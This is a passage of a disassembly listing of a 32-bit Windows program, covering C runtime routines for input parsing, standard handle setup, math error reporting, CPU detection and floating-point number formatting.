cmp eax, 0FFFFFFFFh
jz short loc_42410B
push dword ptr [ebp+8]
push eax
call sub_427140
pop ecx
pop ecx
loc_42410B: ; CODE XREF: sub_423327+DA9j
; sub_423327+DD7j
cmp ebx, 0FFFFFFFFh
loc_42410E: ; CODE XREF: sub_423327+628j
jz short loc_424147
push dword ptr [ebp+8]
push dword ptr [ebp-194h]
call sub_427140
pop ecx
pop ecx
jmp short loc_424147
; ---------------------------------------------------------------------------
loc_424122: ; CODE XREF: sub_423327+DD2j
dec dword ptr [ebp-184h]
loc_424128: ; CODE XREF: sub_423327+D88j
; sub_423327+DB9j
cmp dword ptr [ebp-194h], 0FFFFFFFFh
jnz loc_42336D
cmp byte ptr [esi], 25h
jnz short loc_424147
mov eax, [ebp+0Ch]
cmp byte ptr [eax+1], 6Eh
jz loc_42336A
loc_424147: ; CODE XREF: sub_423327+4Aj
; sub_423327+583j ...
cmp dword ptr [ebp-1D8h], 1
jnz short loc_42415C
push dword ptr [ebp-1BCh]
call sub_41E2A1
pop ecx
loc_42415C: ; CODE XREF: sub_423327+E27j
mov eax, [ebp-1B8h]
cmp dword ptr [ebp-194h], 0FFFFFFFFh
jnz short loc_42417A
test eax, eax
jnz short loc_42417A
cmp [ebp-195h], al
jnz short loc_42417A
or eax, 0FFFFFFFFh
loc_42417A: ; CODE XREF: sub_423327+E42j
; sub_423327+E46j ...
lea esp, [ebp-1E8h]
mov ecx, [ebp-1Ch]
call sub_422B83
call sub_425F4F
retn
sub_423327 endp
; =============== S U B R O U T I N E =======================================
sub_42418E proc near ; CODE XREF: start-C31F8p
var_44 = byte ptr -44h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
sub esp, 44h
push 100h
call sub_41E5D3
test eax, eax
pop ecx
jnz short loc_4241A8
or eax, 0FFFFFFFFh
jmp loc_424335
; ---------------------------------------------------------------------------
loc_4241A8: ; CODE XREF: sub_42418E+10j
mov ds:dword_4E2BA0, eax
mov ds:dword_4E2B98, 20h
lea ecx, [eax+100h]
jmp short loc_4241D9
; ---------------------------------------------------------------------------
loc_4241BF: ; CODE XREF: sub_42418E+4Dj
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+4], 0
mov byte ptr [eax+5], 0Ah
mov ecx, ds:dword_4E2BA0
add eax, 8
add ecx, 100h
loc_4241D9: ; CODE XREF: sub_42418E+2Fj
cmp eax, ecx
jb short loc_4241BF
push ebx
push esi
push edi
lea eax, [esp+50h+var_44]
push eax
call ds:dword_42B1A4 ; GetStartupInfoA
cmp [esp+4Ch+var_E], 0
jz loc_4242BE
mov eax, [esp+4Ch+var_C]
test eax, eax
jz loc_4242BE
mov esi, [eax]
push ebp
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_424217
mov esi, eax
loc_424217: ; CODE XREF: sub_42418E+85j
cmp ds:dword_4E2B98, esi
jge short loc_424271
mov edi, offset dword_4E2BA4
loc_424224: ; CODE XREF: sub_42418E+D9j
push 100h
call sub_41E5D3
test eax, eax
pop ecx
jz short loc_42426B
add ds:dword_4E2B98, 20h
mov [edi], eax
lea ecx, [eax+100h]
jmp short loc_42425A
; ---------------------------------------------------------------------------
loc_424244: ; CODE XREF: sub_42418E+CEj
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+4], 0
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
loc_42425A: ; CODE XREF: sub_42418E+B4j
cmp eax, ecx
jb short loc_424244
add edi, 4
cmp ds:dword_4E2B98, esi
jl short loc_424224
jmp short loc_424271
; ---------------------------------------------------------------------------
loc_42426B: ; CODE XREF: sub_42418E+A3j
mov esi, ds:dword_4E2B98
loc_424271: ; CODE XREF: sub_42418E+8Fj
; sub_42418E+DBj
xor edi, edi
test esi, esi
jle short loc_4242BD
loc_424277: ; CODE XREF: sub_42418E+12Dj
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_4242B4
mov cl, [ebp+0]
test cl, 1
jz short loc_4242B4
test cl, 8
jnz short loc_424296
push eax
call ds:dword_42B184 ; GetFileType
test eax, eax
jz short loc_4242B4
loc_424296: ; CODE XREF: sub_42418E+FBj
mov eax, edi
sar eax, 5
mov eax, ds:dword_4E2BA0[eax*4]
mov ecx, edi
and ecx, 1Fh
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_4242B4: ; CODE XREF: sub_42418E+EEj
; sub_42418E+F6j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_424277
loc_4242BD: ; CODE XREF: sub_42418E+E7j
pop ebp
loc_4242BE: ; CODE XREF: sub_42418E+63j
; sub_42418E+6Fj
xor ebx, ebx
loc_4242C0: ; CODE XREF: sub_42418E+194j
mov eax, ds:dword_4E2BA0
lea esi, [eax+ebx*8]
cmp dword ptr [esi], 0FFFFFFFFh
jnz short loc_42431A
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_4242DA
push 0FFFFFFF6h
pop eax
jmp short loc_4242E4
; ---------------------------------------------------------------------------
loc_4242DA: ; CODE XREF: sub_42418E+145j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_4242E4: ; CODE XREF: sub_42418E+14Aj
push eax
call ds:dword_42B188 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_424309
push edi
call ds:dword_42B184 ; GetFileType
test eax, eax
jz short loc_424309
and eax, 0FFh
cmp eax, 2
mov [esi], edi
jnz short loc_42430F
loc_424309: ; CODE XREF: sub_42418E+162j
; sub_42418E+16Dj
or byte ptr [esi+4], 40h
jmp short loc_42431E
; ---------------------------------------------------------------------------
loc_42430F: ; CODE XREF: sub_42418E+179j
cmp eax, 3
jnz short loc_42431E
or byte ptr [esi+4], 8
jmp short loc_42431E
; ---------------------------------------------------------------------------
loc_42431A: ; CODE XREF: sub_42418E+13Dj
or byte ptr [esi+4], 80h
loc_42431E: ; CODE XREF: sub_42418E+17Fj
; sub_42418E+184j ...
inc ebx
cmp ebx, 3
jl short loc_4242C0
push ds:dword_4E2B98
call ds:dword_42B18C ; LockResource
pop edi
pop esi
xor eax, eax
pop ebx
loc_424335: ; CODE XREF: sub_42418E+15j
add esp, 44h
retn
sub_42418E endp
; ---------------------------------------------------------------------------
db 56h, 57h, 6Ah
dd 0FF335E03h, 3F203539h, 447E004Eh, 4E2F08A1h, 0B0048B00h
dd 2F74C085h, 830C40F6h, 0E8500D74h, 0FFFF9EEBh, 59FFF883h
dd 83470174h, 177C14FEh, 4E2F08A1h, 0B034FF00h, 0FF9F28E8h
dd 2F08A1FFh, 2483004Eh, 465900B0h, 3F20353Bh, 0BC7C004Eh
dd 5E5FC78Bh
db 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424391 proc near ; CODE XREF: sub_41FCC0+B5p
; sub_4203C0+B5p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
mov eax, ds:dword_4437D4
mov [ebp+var_4], eax
mov eax, [ebp+arg_C]
mov ecx, 0A1h
cmp eax, ecx
push esi
jg loc_4244C3
jz loc_4244B7
cmp eax, 18h
jg loc_424447
jz short loc_424434
push 2
pop ecx
sub eax, ecx
jz short loc_424425
dec eax
jz short loc_424419
sub eax, 5
jz short loc_42440A
dec eax
jz short loc_4243FE
sub eax, 5
jz short loc_4243EB
dec eax
jnz loc_424612
mov [ebp+var_20], offset aExp ; "exp"
jmp loc_424488
; ---------------------------------------------------------------------------
loc_4243EB: ; CODE XREF: sub_424391+45j
mov [ebp+var_24], 3
mov [ebp+var_20], offset aExp ; "exp"
jmp loc_42454A
; ---------------------------------------------------------------------------
loc_4243FE: ; CODE XREF: sub_424391+40j
mov [ebp+var_20], offset aLog10 ; "log10"
jmp loc_4245B0
; ---------------------------------------------------------------------------
loc_42440A: ; CODE XREF: sub_424391+3Dj
mov [ebp+var_24], ecx
mov [ebp+var_20], offset aLog10 ; "log10"
jmp loc_42454A
; ---------------------------------------------------------------------------
loc_424419: ; CODE XREF: sub_424391+38j
mov [ebp+var_20], offset aLog ; "log"
jmp loc_4245B0
; ---------------------------------------------------------------------------
loc_424425: ; CODE XREF: sub_424391+35j
mov [ebp+var_24], ecx
mov [ebp+var_20], offset aLog ; "log"
jmp loc_42454A
; ---------------------------------------------------------------------------
loc_424434: ; CODE XREF: sub_424391+2Ej
mov [ebp+var_24], 3
loc_42443B: ; CODE XREF: sub_424391+E2j
mov [ebp+var_20], offset aPow ; "pow"
jmp loc_42454A
; ---------------------------------------------------------------------------
loc_424447: ; CODE XREF: sub_424391+28j
sub eax, 19h
jz short loc_424481
dec eax
jz short loc_424475
dec eax
jz short loc_42446C
dec eax
jz loc_4245A9
dec eax
jnz loc_424612
mov [ebp+var_20], offset aPow ; "pow"
jmp loc_4245D1
; ---------------------------------------------------------------------------
loc_42446C: ; CODE XREF: sub_424391+BFj
mov [ebp+var_24], 2
jmp short loc_42443B
; ---------------------------------------------------------------------------
loc_424475: ; CODE XREF: sub_424391+BCj
mov eax, [ebp+arg_8]
fld1
fstp qword ptr [eax]
jmp loc_424612
; ---------------------------------------------------------------------------
loc_424481: ; CODE XREF: sub_424391+B9j
mov [ebp+var_20], offset aPow ; "pow"
loc_424488: ; CODE XREF: sub_424391+55j
mov eax, [ebp+arg_0]
fld qword ptr [eax]
mov eax, [ebp+arg_4]
mov esi, [ebp+arg_8]
fstp [ebp+var_1C]
fld qword ptr [eax]
lea eax, [ebp+var_24]
fstp [ebp+var_14]
push eax
fld qword ptr [esi]
mov [ebp+var_24], 4
fstp [ebp+var_C]
call ds:off_443A48
pop ecx
jmp loc_42460D
; ---------------------------------------------------------------------------
loc_4244B7: ; CODE XREF: sub_424391+1Fj
mov [ebp+var_24], 3
jmp loc_424543
; ---------------------------------------------------------------------------
loc_4244C3: ; CODE XREF: sub_424391+19j
mov ecx, 3EAh
cmp eax, ecx
jg loc_42458D
jz loc_424584
sub eax, 0A2h
jz short loc_42453C
sub eax, 4
jz short loc_42452C
sub eax, 4
jz short loc_42451C
dec eax
jz short loc_424510
sub eax, 33Dh
jz short loc_424504
dec eax
jnz loc_424612
mov [ebp+var_20], offset aLog10 ; "log10"
jmp loc_4245D1
; ---------------------------------------------------------------------------
loc_424504: ; CODE XREF: sub_424391+15Ej
mov [ebp+var_20], offset aLog ; "log"
jmp loc_4245D1
; ---------------------------------------------------------------------------
loc_424510: ; CODE XREF: sub_424391+157j
mov [ebp+var_20], offset aLog2 ; "log2"
jmp loc_4245B0
; ---------------------------------------------------------------------------
loc_42451C: ; CODE XREF: sub_424391+154j
mov [ebp+var_24], 2
mov [ebp+var_20], offset aLog2 ; "log2"
jmp short loc_42454A
; ---------------------------------------------------------------------------
loc_42452C: ; CODE XREF: sub_424391+14Fj
mov [ebp+var_24], 3
mov [ebp+var_20], offset aExp10 ; "exp10"
jmp short loc_42454A
; ---------------------------------------------------------------------------
loc_42453C: ; CODE XREF: sub_424391+14Aj
mov [ebp+var_24], 4
loc_424543: ; CODE XREF: sub_424391+12Dj
mov [ebp+var_20], offset aExp2 ; "exp2"
loc_42454A: ; CODE XREF: sub_424391+68j
; sub_424391+83j ...
mov eax, [ebp+arg_0]
fld qword ptr [eax]
mov eax, [ebp+arg_4]
mov esi, [ebp+arg_8]
fstp [ebp+var_1C]
fld qword ptr [eax]
lea eax, [ebp+var_24]
fstp [ebp+var_14]
push eax
fld qword ptr [esi]
fstp [ebp+var_C]
call ds:off_443A48
test eax, eax
pop ecx
jnz loc_42460D
mov ds:dword_4E28F4, 22h
jmp loc_42460D
; ---------------------------------------------------------------------------
loc_424584: ; CODE XREF: sub_424391+13Fj
mov [ebp+var_20], offset aExp ; "exp"
jmp short loc_4245D1
; ---------------------------------------------------------------------------
loc_42458D: ; CODE XREF: sub_424391+139j
sub eax, 3EBh
jz short loc_4245CA
dec eax
jz short loc_4245C1
dec eax
jz short loc_4245B8
dec eax
jz short loc_4245A9
dec eax
jnz short loc_424612
mov [ebp+var_20], offset aModf ; "modf"
jmp short loc_4245D1
; ---------------------------------------------------------------------------
loc_4245A9: ; CODE XREF: sub_424391+C2j
; sub_424391+20Aj
mov [ebp+var_20], offset aPow ; "pow"
loc_4245B0: ; CODE XREF: sub_424391+74j
; sub_424391+8Fj ...
mov eax, [ebp+arg_0]
mov esi, [ebp+arg_8]
jmp short loc_4245DB
; ---------------------------------------------------------------------------
loc_4245B8: ; CODE XREF: sub_424391+207j
mov [ebp+var_20], offset aFloor ; "floor"
jmp short loc_4245D1
; ---------------------------------------------------------------------------
loc_4245C1: ; CODE XREF: sub_424391+204j
mov [ebp+var_20], offset aCeil ; "ceil"
jmp short loc_4245D1
; ---------------------------------------------------------------------------
loc_4245CA: ; CODE XREF: sub_424391+201j
mov [ebp+var_20], offset aAtan ; "atan"
loc_4245D1: ; CODE XREF: sub_424391+D6j
; sub_424391+16Ej ...
mov eax, [ebp+arg_0]
fld qword ptr [eax]
mov esi, [ebp+arg_8]
fstp qword ptr [esi]
loc_4245DB: ; CODE XREF: sub_424391+225j
fld qword ptr [eax]
mov eax, [ebp+arg_4]
fstp [ebp+var_1C]
mov [ebp+var_24], 1
fld qword ptr [eax]
lea eax, [ebp+var_24]
fstp [ebp+var_14]
push eax
fld qword ptr [esi]
fstp [ebp+var_C]
call ds:off_443A48
test eax, eax
pop ecx
jnz short loc_42460D
mov ds:dword_4E28F4, 21h
loc_42460D: ; CODE XREF: sub_424391+121j
; sub_424391+1DEj ...
fld [ebp+var_C]
fstp qword ptr [esi]
loc_424612: ; CODE XREF: sub_424391+48j
; sub_424391+C9j ...
mov ecx, [ebp+var_4]
pop esi
call sub_422B83
leave
retn
sub_424391 endp
; =============== S U B R O U T I N E =======================================
sub_42461D proc near ; CODE XREF: seg000:004246B3p
push 0Ch
push offset dword_439B48
call sub_425F14
and dword ptr [ebp-1Ch], 0
and dword ptr [ebp-4], 0
movapd xmm0, xmm1
mov dword ptr [ebp-1Ch], 1
jmp short loc_424645
; ---------------------------------------------------------------------------
dw 0C033h
dd 658BC340h
db 0E8h
; ---------------------------------------------------------------------------
loc_424645: ; CODE XREF: sub_42461D+1Fj
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-1Ch]
call sub_425F4F
retn
sub_42461D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_424652: ; DATA XREF: seg002:0043C024o
push ebp
mov ebp, esp
sub esp, 20h
mov eax, ds:dword_4437D4
mov [ebp-4], eax
xor eax, eax
push ebx
push esi
mov [ebp-1Ch], eax
mov [ebp-18h], eax
mov [ebp-14h], al
push ebx
pushf
pop eax
mov ecx, eax
xor eax, 200000h
push eax
popf
pushf
pop edx
sub edx, ecx
jz short loc_42469E
push ecx
popf
xor eax, eax
cpuid
mov [ebp-20h], eax
mov [ebp-14h], ebx
mov [ebp-10h], edx
mov [ebp-0Ch], ecx
mov eax, 1
cpuid
mov [ebp-1Ch], edx
mov [ebp-18h], eax
loc_42469E: ; CODE XREF: seg000:0042467Dj
pop ebx
and ds:dword_4E2B94, 0
and ds:dword_4E2B90, 0
test byte ptr [ebp-19h], 4
jz short loc_424712
call sub_42461D
test eax, eax
jz short loc_424712
push 0Ch
lea eax, [ebp-14h]
xor esi, esi
push eax
inc esi
push offset aAuthenticamd ; "AuthenticAMD"
mov ds:dword_4E2B94, esi
call sub_41EE80
add esp, 0Ch
test eax, eax
jnz short loc_42470C
mov ecx, [ebp-18h]
mov eax, ecx
sar eax, 8
and eax, 0Fh
sar ecx, 14h
mov edx, eax
sub edx, 0Fh
and ecx, 0FFh
neg edx
sbb edx, edx
not edx
and edx, ecx
add edx, eax
sub edx, 0Fh
neg edx
sbb edx, edx
inc edx
mov [ebp-20h], edx
jnz short loc_424712
loc_42470C: ; CODE XREF: seg000:004246DAj
mov ds:dword_4E2B90, esi
loc_424712: ; CODE XREF: seg000:004246B1j
; seg000:004246BAj ...
mov ecx, [ebp-4]
xor eax, eax
call sub_422B83
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_424720(double)
sub_424720 proc near ; CODE XREF: sub_41FCC0+7j
; sub_41FCC0+38j
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push ds:dword_443A4C
call sub_427AA6
fld [ebp+arg_0]
pop ecx
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
push ecx
and ax, 7FF0h
cmp ax, 7FF0h
push ecx
fstp [esp+18h+var_18]
jnz short loc_4247A6
call sub_427978
test eax, eax
pop ecx
pop ecx
jle short loc_424789
cmp eax, 2
jle short loc_42477B
cmp eax, 3
jnz short loc_424789
fld [ebp+arg_0]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
push 0Bh ; int
call sub_427833
add esp, 10h
jmp short loc_4247EF
; ---------------------------------------------------------------------------
loc_42477B: ; CODE XREF: sub_424720+3Fj
push esi
push ebx
call sub_427AA6
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_4247EF
; ---------------------------------------------------------------------------
loc_424789: ; CODE XREF: sub_424720+3Aj
; sub_424720+44j
fld [ebp+arg_0]
push ebx
fadd ds:dbl_439B68
sub esp, 10h
fstp qword ptr [esp+8]
fld [ebp+arg_0]
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_4247E7
; ---------------------------------------------------------------------------
loc_4247A6: ; CODE XREF: sub_424720+2Fj
call sub_42793D
fstp [ebp+var_8]
fld [ebp+arg_0]
pop ecx
fld [ebp+var_8]
pop ecx
fucompp
fnstsw ax
test ah, 44h
jp short loc_4247CD
loc_4247BF: ; CODE XREF: sub_424720+B0j
push esi
push ebx
call sub_427AA6
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_4247EF
; ---------------------------------------------------------------------------
loc_4247CD: ; CODE XREF: sub_424720+9Dj
test bl, 20h
jnz short loc_4247BF
fld [ebp+var_8]
push ebx ; int
sub esp, 10h
fstp qword ptr [esp+8]
fld [ebp+arg_0]
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_4247E7: ; CODE XREF: sub_424720+84j
call sub_427885
add esp, 1Ch
loc_4247EF: ; CODE XREF: sub_424720+59j
; sub_424720+67j ...
pop esi
pop ebx
leave
retn
sub_424720 endp
; =============== S U B R O U T I N E =======================================
sub_4247F3 proc near ; CODE XREF: sub_4222C8+491p
; DATA XREF: sub_41FDE2+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_420B27
cmp eax, 65h
pop ecx
jz short loc_424831
loc_424807: ; CODE XREF: sub_4247F3+3Cj
inc esi
cmp ds:dword_4437B0, 1
movsx eax, byte ptr [esi]
jle short loc_424820
push 4
push eax
call sub_422B91
pop ecx
pop ecx
jmp short loc_42482D
; ---------------------------------------------------------------------------
loc_424820: ; CODE XREF: sub_4247F3+1Fj
mov ecx, ds:off_4437D8
movzx eax, byte ptr [ecx+eax*2]
and eax, 4
loc_42482D: ; CODE XREF: sub_4247F3+2Bj
test eax, eax
jnz short loc_424807
loc_424831: ; CODE XREF: sub_4247F3+12j
mov al, [esi]
mov cl, ds:byte_4437B4
mov [esi], cl
inc esi
loc_42483C: ; CODE XREF: sub_4247F3+54j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_42483C
pop esi
retn
sub_4247F3 endp
; =============== S U B R O U T I N E =======================================
sub_42484B proc near ; CODE XREF: sub_4222C8+4A2p
; DATA XREF: sub_41FDE2+Ao ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
mov bl, ds:byte_4437B4
jmp short loc_42485D
; ---------------------------------------------------------------------------
loc_424858: ; CODE XREF: sub_42484B+16j
cmp cl, bl
jz short loc_424863
inc eax
loc_42485D: ; CODE XREF: sub_42484B+Bj
mov cl, [eax]
test cl, cl
jnz short loc_424858
loc_424863: ; CODE XREF: sub_42484B+Fj
mov cl, [eax]
inc eax
test cl, cl
jz short loc_424894
jmp short loc_424877
; ---------------------------------------------------------------------------
loc_42486C: ; CODE XREF: sub_42484B+30j
cmp cl, 65h
jz short loc_42487D
cmp cl, 45h
jz short loc_42487D
inc eax
loc_424877: ; CODE XREF: sub_42484B+1Fj
mov cl, [eax]
test cl, cl
jnz short loc_42486C
loc_42487D: ; CODE XREF: sub_42484B+24j
; sub_42484B+29j
mov edx, eax
loc_42487F: ; CODE XREF: sub_42484B+38j
dec eax
cmp byte ptr [eax], 30h
jz short loc_42487F
cmp [eax], bl
jnz short loc_42488A
dec eax
loc_42488A: ; CODE XREF: sub_42484B+3Cj
; sub_42484B+47j
mov cl, [edx]
inc eax
inc edx
test cl, cl
mov [eax], cl
jnz short loc_42488A
loc_424894: ; CODE XREF: sub_42484B+1Dj
pop ebx
retn
sub_42484B endp
; ---------------------------------------------------------------------------
word_424896 dw 448Bh ; DATA XREF: sub_41FDE2+28o
; seg002:off_443A60o
dd 0DD0424h, 9B701DDCh, 0E0DF0043h, 7501C4F6h, 40C03304h
dd 0C3C033C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4248B0 proc near ; CODE XREF: sub_423327+5B5p
; DATA XREF: sub_41FDE2+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_4248D9
lea eax, [ebp+var_8]
push eax
call sub_427E44
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_4248D9: ; CODE XREF: sub_4248B0+Cj
lea eax, [ebp+arg_0]
push eax
call sub_427E81
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
mov [eax], ecx
leave
retn
sub_4248B0 endp
; =============== S U B R O U T I N E =======================================
sub_4248EE proc near ; CODE XREF: sub_42490B+2Fp
; sub_4249FC+7Ep ...
test edi, edi
push esi
mov esi, eax
jz short loc_424909
push esi
call sub_41E1C0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41F980
add esp, 10h
loc_424909: ; CODE XREF: sub_4248EE+5j
pop esi
retn
sub_4248EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42490B proc near ; CODE XREF: sub_424AD9+96p
; sub_424B83+47p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp ds:byte_4E2978, 0
push ebx
push esi
push edi
jz short loc_424941
mov ebx, [ebp+arg_8]
mov eax, ds:dword_4E2974
xor ecx, ecx
test ebx, ebx
setnle cl
xor edx, edx
cmp dword ptr [eax], 2Dh
mov esi, eax
setz dl
mov edi, ecx
add edx, [ebp+arg_4]
mov eax, edx
call sub_4248EE
jmp short loc_424975
; ---------------------------------------------------------------------------
loc_424941: ; CODE XREF: sub_42490B+Dj
mov eax, [ebp+arg_0]
push dword ptr [eax+4]
push dword ptr [eax]
call sub_427FEF
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add eax, [ebp+arg_4]
add ecx, eax
push ecx
call sub_427EBE
add esp, 14h
loc_424975: ; CODE XREF: sub_42490B+34j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_424981
mov byte ptr [eax], 2Dh
inc eax
loc_424981: ; CODE XREF: sub_42490B+70j
test ebx, ebx
jle short loc_424996
lea edi, [eax+1]
mov cl, [edi]
mov [eax], cl
mov cl, ds:byte_4437B4
mov eax, edi
mov [eax], cl
loc_424996: ; CODE XREF: sub_42490B+78j
xor ecx, ecx
cmp ds:byte_4E2978, cl
push offset aE000 ; "e+000"
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41EEC0
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_4249BD
mov byte ptr [ecx], 45h
loc_4249BD: ; CODE XREF: sub_42490B+ADj
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_4249F4
mov eax, [esi+4]
dec eax
jns short loc_4249D1
neg eax
mov byte ptr [ecx], 2Dh
loc_4249D1: ; CODE XREF: sub_42490B+BFj
inc ecx
cmp eax, 64h
jl short loc_4249E1
cdq
push 64h
pop esi
idiv esi
add [ecx], al
mov eax, edx
loc_4249E1: ; CODE XREF: sub_42490B+CAj
inc ecx
cmp eax, 0Ah
jl short loc_4249F1
cdq
push 0Ah
pop esi
idiv esi
add [ecx], al
mov eax, edx
loc_4249F1: ; CODE XREF: sub_42490B+DAj
add [ecx+1], al
loc_4249F4: ; CODE XREF: sub_42490B+B9j
mov eax, [ebp+arg_4]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42490B endp
; =============== S U B R O U T I N E =======================================
sub_4249FC proc near ; CODE XREF: sub_424AD9+7Dp
; sub_424B83+1Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp ds:byte_4E2978, 0
push ebx
mov ebx, [esp+4+arg_4]
push ebp
push esi
push edi
jz short loc_424A35
mov eax, ds:dword_4E297C
cmp eax, [esp+10h+arg_8]
mov esi, ds:dword_4E2974
jnz short loc_424A61
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebx
mov eax, ecx
mov byte ptr [eax], 30h
mov byte ptr [eax+1], 0
jmp short loc_424A61
; ---------------------------------------------------------------------------
loc_424A35: ; CODE XREF: sub_4249FC+Fj
mov eax, [esp+10h+arg_0]
push dword ptr [eax+4]
push dword ptr [eax]
call sub_427FEF
mov esi, eax
mov eax, [esi+4]
add eax, [esp+18h+arg_8]
push esi
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebx
push eax
call sub_427EBE
add esp, 14h
loc_424A61: ; CODE XREF: sub_4249FC+20j
; sub_4249FC+37j
cmp dword ptr [esi], 2Dh
mov ebp, ebx
jnz short loc_424A6E
mov byte ptr [ebx], 2Dh
lea ebp, [ebx+1]
loc_424A6E: ; CODE XREF: sub_4249FC+6Aj
mov eax, [esi+4]
xor edi, edi
inc edi
test eax, eax
jg short loc_424A86
mov eax, ebp
call sub_4248EE
mov byte ptr [ebp+0], 30h
inc ebp
jmp short loc_424A88
; ---------------------------------------------------------------------------
loc_424A86: ; CODE XREF: sub_4249FC+7Aj
add ebp, eax
loc_424A88: ; CODE XREF: sub_4249FC+88j
cmp [esp+10h+arg_8], 0
jle short loc_424AD2
mov eax, ebp
call sub_4248EE
mov al, ds:byte_4437B4
mov [ebp+0], al
mov esi, [esi+4]
inc ebp
test esi, esi
jge short loc_424AD2
neg esi
cmp ds:byte_4E2978, 0
jnz short loc_424AB7
cmp [esp+10h+arg_8], esi
jl short loc_424ABB
loc_424AB7: ; CODE XREF: sub_4249FC+B3j
mov [esp+10h+arg_8], esi
loc_424ABB: ; CODE XREF: sub_4249FC+B9j
mov edi, [esp+10h+arg_8]
mov eax, ebp
call sub_4248EE
push edi
push 30h
push ebp
call sub_41E5F0
add esp, 0Ch
loc_424AD2: ; CODE XREF: sub_4249FC+91j
; sub_4249FC+A8j
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
retn
sub_4249FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424AD9 proc near ; CODE XREF: sub_424B83+34p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push dword ptr [esi+4]
push dword ptr [esi]
call sub_427FEF
mov ecx, [eax+4]
mov ebx, [ebp+arg_8]
dec ecx
mov ds:dword_4E297C, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
setz cl
push ebx
mov ds:dword_4E2974, eax
add ecx, [ebp+arg_4]
mov edi, ecx
push edi
call sub_427EBE
mov eax, ds:dword_4E2974
mov eax, [eax+4]
add esp, 14h
dec eax
cmp ds:dword_4E297C, eax
mov ds:dword_4E297C, eax
setl cl
cmp eax, 0FFFFFFFCh
mov ds:byte_4E2980, cl
jl short loc_424B60
cmp eax, ebx
jge short loc_424B60
test cl, cl
jz short loc_424B4A
loc_424B40: ; CODE XREF: sub_424AD9+6Cj
mov al, [edi]
inc edi
test al, al
jnz short loc_424B40
mov [edi-2], al
loc_424B4A: ; CODE XREF: sub_424AD9+65j
push ebx
push [ebp+arg_4]
mov ds:byte_4E2978, 1
push esi
call sub_4249FC
add esp, 0Ch
jmp short loc_424B77
; ---------------------------------------------------------------------------
loc_424B60: ; CODE XREF: sub_424AD9+5Dj
; sub_424AD9+61j
push [ebp+arg_C]
mov ds:byte_4E2978, 1
push ebx
push [ebp+arg_4]
push esi
call sub_42490B
add esp, 10h
